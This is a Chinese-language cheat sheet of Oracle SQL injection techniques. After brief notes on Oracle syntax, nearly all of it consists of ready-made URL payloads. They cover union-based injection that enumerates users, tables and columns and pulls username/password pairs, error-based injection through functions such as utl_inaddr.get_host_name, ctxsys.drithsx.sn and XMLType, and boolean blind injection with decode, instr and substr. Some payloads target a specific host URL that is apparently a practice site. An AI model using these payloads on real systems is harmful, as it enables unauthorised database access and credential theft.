•Oracle 使用查询语言获取需要跟上表名,这一点和 Access 类似,没有表的情况下可以使用 dual 表,dual 是 Oracle 的虚拟表,用来构成 select 的语法规则,Oracle 保证 dual 里面永远只有一条记录。
•Oracle 的数据库类型是强匹配,所以在 Oracle 进行类似 Union 查询数据时必须让对应位置上的数据类型和表中的列的数据类型是一致的,也可以使用 NULL 代替某些无法快速猜测出的数据类型位置,这一点和 SQL Server 类似。
•Oracle 和 mysql 不一样,分页中没有 limit,而是使用三层查询嵌套的方式实现分页 例如: SELECT * FROM ( SELECT A.*, ROWNUM RN FROM (select * from session_roles) A WHERE ROWNUM <= 1 ) WHERE RN >=0
•Oracle 的单行注释符号是 --,多行注释符号 /**/。
•Oracle 数据库包含了几个系统表,这几个系统表里存储了系统数据库的表名和列名,如 user_tab_columns,all_tab_columns,all_tables,user_tables 系统表就存储了用户的所有的表、列名,其中 table_name 表示的是系统里的表名,column_name 里的是系统里存在的列名。
•Oracle 使用 || 拼接字符串(在 URL 中使用编码 %7c 表示),concat() 函数也可以实现两个字符串的拼接
联合查询注入
Payload空格有问题,可以放在vscode中查看
# 判断注入点
所有数据库方式都一样
# 判断列数
依旧提交 order by 去猜测显示当前页面所用的 SQL 查询了多少个字段,也就是确认查询字段数。
?id=1 order by 3 --+
?id=1 order by 4 --+
# 判断回显点
?id=-1 union select null,null,null from dual --+
?id=-1 union select 1,'2','3' from dual --+
# 获取数据库基本信息
?id=-1 union select 1,(select banner from sys.v_$version where rownum=1 ),'3' from dual --+
?id=-1 union select 1,(select instance_name from v_$instance),'3' from dual --+
# 获取数据库名,即用户名
Oracle 没有数据库名的概念,所谓数据库名,即数据表的拥有者,也就是用户名。
1. 获取第一个用户名
?id=-1 union select 1,(select username from all_users where rownum=1),'3' from dual --+
2. 获取第二个用户名
?id=-1 union select 1,(select username from all_users where rownum=1 and username not in ('SYS')),'3' from dual --+
3. 获取当前用户名
?id=-1 union select 1,(SELECT user FROM dual),'3' from dual --+
# 获取表名
1. 获取Test用户第一张表
?id=-1 union select 1,(select table_name from all_tables where rownum=1 and owner='TEST'),'3' from dual --+
2. 获取Test用户第二张表
?id=-1 union select 1,(select table_name from all_tables where rownum=1 and owner='TEST' and table_name<>'NEWS'),'3' from dual --+
# 获取字段名
?id=-1 union select 1,(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1),'3' from dual --+
?id=-1 union select 1,(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1 and column_name<>'ID'),'3' from dual --+
# 获取数据
?id=-1 union select 1,(select concat(concat(username,'~~'),password) from users where rownum=1),null from dual --+
报错注入
在 oracle 注入时候出现了数据库报错信息,可以优先选择报错注入,使用报错的方式将查询数据的结果带出到错误页面中。
使用报错注入需要使用类似 1=[报错语句],1>[报错语句],使用比较运算符,这样的方式进行报错注入(MYSQL 仅使用函数报错即可),类似 mssql 报错注入的方式。
utl_inaddr.get_host_name ()
utl_inaddr.get_host_address 本意是获取 ip 地址,但是如果传递参数无法得到解析就会返回一个 oracle 错误并显示传递的参数。
我们传递的是一个 sql 语句所以返回的就是语句执行的结果。oracle 在启动之后,把一些系统变量都放置到一些特定的视图当中,可以利用这些视图获得想要的东西。
# 获取用户名
?id=1 and 1=utl_inaddr.get_host_name('~'%7c%7c(select user from dual)%7c%7c'~') --+
# 获取表名
?id=1 and 1=utl_inaddr.get_host_name('~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') --+
# 获取字段名
?id=1 and 1=utl_inaddr.get_host_name('~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') --+
# 获取数据
?id=1 and 1=utl_inaddr.get_host_name('~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') --+
ctxsys.drithsx.sn ()
# 获取用户名
?id=1 and 1=ctxsys.drithsx.sn(1,'~'%7c%7c(select user from dual)%7c%7c'~') --+
# 获取表名
?id=1 and 1=ctxsys.drithsx.sn(1,'~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') --+
# 获取字段名
?id=1 and 1=ctxsys.drithsx.sn(1,'~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') --+
# 获取数据
?id=1 and 1=ctxsys.drithsx.sn(1,'~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') --+
dbms_xdb_version.checkin ()
# 获取用户名
?id=1 and (select dbms_xdb_version.checkin('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null --+
# 获取表名
?id=1 and (select dbms_xdb_version.checkin('~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') from dual) is not null --+
# 获取字段名
?id=1 and (select dbms_xdb_version.checkin('~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') from dual) is not null --+
# 获取数据
?id=1 and (select dbms_xdb_version.checkin('~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') from dual) is not null --+
dbms_xdb_version.makeversioned ()
# 获取用户名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.makeversioned('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null --+
# 获取表名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.makeversioned('~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') from dual) is not null --+
# 获取字段名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.makeversioned('~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') from dual) is not null --+
# 获取数据
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.makeversioned('~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') from dual) is not null --+
dbms_xdb_version.uncheckout ()
# 获取用户名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.uncheckout('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null --+
# 获取表名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.uncheckout('~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') from dual) is not null --+
# 获取字段名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.uncheckout('~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') from dual) is not null --+
# 获取数据
http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.uncheckout('~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') from dual) is not null --+
dbms_utility.sqlid_to_sqlhash ()
# 获取用户名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_utility.sqlid_to_sqlhash('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null --+
# 获取表名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_utility.sqlid_to_sqlhash('~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') from dual) is not null --+
# 获取字段名
http://hackrock.com:8080/oracle/?id=1 and (select dbms_utility.sqlid_to_sqlhash('~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') from dual) is not null --+
# 获取数据
http://hackrock.com:8080/oracle/?id=1 and (select dbms_utility.sqlid_to_sqlhash('~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') from dual) is not null --+
ordsys.ord_dicom.getmappingxpath ()
# 获取用户名
http://hackrock.com:8080/oracle/?id=1 and (select ordsys.ord_dicom.getmappingxpath('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null --+
# 获取表名
http://hackrock.com:8080/oracle/?id=1 and (select ordsys.ord_dicom.getmappingxpath('~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') from dual) is not null --+
# 获取字段名
http://hackrock.com:8080/oracle/?id=1 and (select ordsys.ord_dicom.getmappingxpath('~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') from dual) is not null --+
# 获取数据
http://hackrock.com:8080/oracle/?id=1 and (select ordsys.ord_dicom.getmappingxpath('~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') from dual) is not null --+
XMLType ()
# 获取用户名
http://hackrock.com:8080/oracle/?id=1 and (select upper(XMLType(chr(60)%7c%7cchr(58)%7c%7c(select user from dual)%7c%7cchr(62))) from dual) is not null --+
# 获取表名
http://hackrock.com:8080/oracle/?id=1 and (select upper(XMLType(chr(60)%7c%7cchr(58)%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7cchr(62))) from dual) is not null --+
# 获取字段名
http://hackrock.com:8080/oracle/?id=1 and (select upper(XMLType(chr(60)%7c%7cchr(58)%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7cchr(62))) from dual) is not null --+
# 获取数据
http://hackrock.com:8080/oracle/?id=1 and (select upper(XMLType(chr(60)%7c%7cchr(58)%7c%7c(select username from test.users where rownum=1)%7c%7cchr(62))) from dual) is not null --+
布尔型盲注
decode()
decode(字段或字段的运算,值1,值2,值3)
这个函数运行的结果是,当字段或字段的运算的值等于值 1 时,该函数返回值 2,否则返回值3,当然值 1,值 2,值 3 也可以是表达式,这个函数使得某些 sql 语句简单了许多
# 判断是否是TEST用户
?id=1 and 1=(select decode(user,'TEST',1,0) from dual) --+
# 猜解当前用户
?id=1 and 1=(select decode(substr((select user from dual),1,1),'a',1,0) from dual) --+
# 猜解表名
?id=1 and 1=(select decode(substr((select table_name from all_tables where rownum=1 and owner='TEST'),1,1),'N',1,0) from dual) --+
# 猜解字段名
?id=1 and 1=(select decode(substr((select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1),1,1),'I',1,0) from dual) --+
# 猜解数据
?id=1 and 1=(select decode(substr((select username from test.users where rownum=1),1,1),'a',1,0) from dual) --+
instr ()
instr 函数的使用,从一个字符串中查找指定子串的位置
select instr('123456789','12') position from dual;
可以使用该函数按位爆破,该函数返回是从1开始
?id=1 and (instr((select user from dual),'S'))=1 --+
?id=1 and (instr((select user from dual),'SY'))=1 --+
?id=1 and (instr((select user from dual),'SYS'))=1 --+
substr()
这个就和mysql 基本一致
# Guess the data length ? id = 1 and ( select length ( user ) from dual) = 3 --+
# ASCII bitwise blasting ? id = 1 and ( select ascii ( substr ( user , 1 , 1 )) from dual) = 65 --+